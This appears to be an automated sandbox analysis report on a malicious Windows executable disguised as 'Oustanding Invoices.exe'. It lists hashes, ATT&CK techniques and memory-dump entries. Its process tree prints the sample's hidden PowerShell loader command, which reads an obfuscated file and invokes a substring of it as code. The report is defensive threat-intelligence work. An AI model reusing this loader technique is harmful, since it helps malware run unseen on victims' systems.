ee1b7275bcf909be5d30a4eaa7accf81308378989ba39ee2314ed36b9a705ed0

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16/10/2024, 10:39

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General

Target

Oustanding Invoices.exe
Size

788KB
MD5

65061801d64c7154fdcafe07289fdd64
SHA1

88f6c3bc401aeddf395a409ece7ae3f44721a06c
SHA256

95e8ab1f03e2ab0b9b2591d310a42813726f13d6d2a4301bfd117c1c0c6fe9e1
SHA512

58aedadb06f2e0f664022832d43bf34136573db6106d0b620cd6554c1f31948eb89b81074bd932754f0befddab1a6144fac4256e90190228aff5520e81cf841f
SSDEEP

12288:DHANG3RciXWNhnABLQ8LbMUeKIoBg1z+W0Cla+ve7bAvANa24jVY:DHxcVjABRYMIYOzp0sjvzE1z

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2356	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Oustanding Invoices.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2356	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2356	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2848 wrote to memory of 2356	2848	Oustanding Invoices.exe	31
PID 2848 wrote to memory of 2356	2848	Oustanding Invoices.exe	31
PID 2848 wrote to memory of 2356	2848	Oustanding Invoices.exe	31
PID 2848 wrote to memory of 2356	2848	Oustanding Invoices.exe	31

C:\Users\Admin\AppData\Local\Temp\Oustanding Invoices.exe
"C:\Users\Admin\AppData\Local\Temp\Oustanding Invoices.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2848
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Brdrepar62=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\gurlis\billeter\pli\Afmilitariserings233.Eft';$Upaavirkede=$Brdrepar62.SubString(4815,3);.$Upaavirkede($Brdrepar62) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2356-9-0x00000000740A1000-0x00000000740A2000-memory.dmp

Filesize
4KB

Download
memory/2356-10-0x00000000740A0000-0x000000007464B000-memory.dmp

Filesize
5.7MB

Download
memory/2356-11-0x00000000740A0000-0x000000007464B000-memory.dmp

Filesize
5.7MB

Download
memory/2356-12-0x00000000740A0000-0x000000007464B000-memory.dmp

Filesize
5.7MB

Download
memory/2356-13-0x00000000740A0000-0x000000007464B000-memory.dmp

Filesize
5.7MB

Download
memory/2356-14-0x00000000740A0000-0x000000007464B000-memory.dmp

Filesize
5.7MB

Download